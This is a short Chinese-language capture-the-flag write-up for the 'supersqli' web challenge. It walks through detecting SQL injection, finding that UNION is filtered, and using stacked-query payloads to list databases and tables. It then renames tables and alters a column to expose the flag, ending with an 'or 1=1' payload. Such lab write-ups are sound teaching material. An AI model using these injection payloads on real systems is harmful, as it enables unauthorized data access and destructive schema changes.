攻防世界web supersqli writeup

题目主界面如上，提交1查询出一条结果

尝试单引号注入发现报错，那么判断存在注入
用order by查询有几个字段；
当order by 3的时候发现出错了
接着使用union联合查询，发现关键字被过滤了，用大写也无法绕过
于是换用堆叠注入的方法

1';show databases #

出现多个数据库,注意到有supersqli库，再次构造

1';show tables from supersqli #

发现有两个表，分别对其进行查看得
1.words
2.1919810931114514(注意查询的时候以字符串为名的表要用反引号括住)
根据查询的结果来看，是一个数字外加一个字符串，与words表中数据相吻合，所以说words应该是默认查询的表，根据words中的id值进行查找，我们可以把1919810931114514这个表命名为words，并把其中的flag字段改为id，查询的时候就可以将flag进行显示，把原先的words改成其他名字，使有flag的表成为默认查询表

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

再进行or语句的构造

1' or 1=1#

参考链接：https://www.cnblogs.com/weak-chicken/p/12291092.html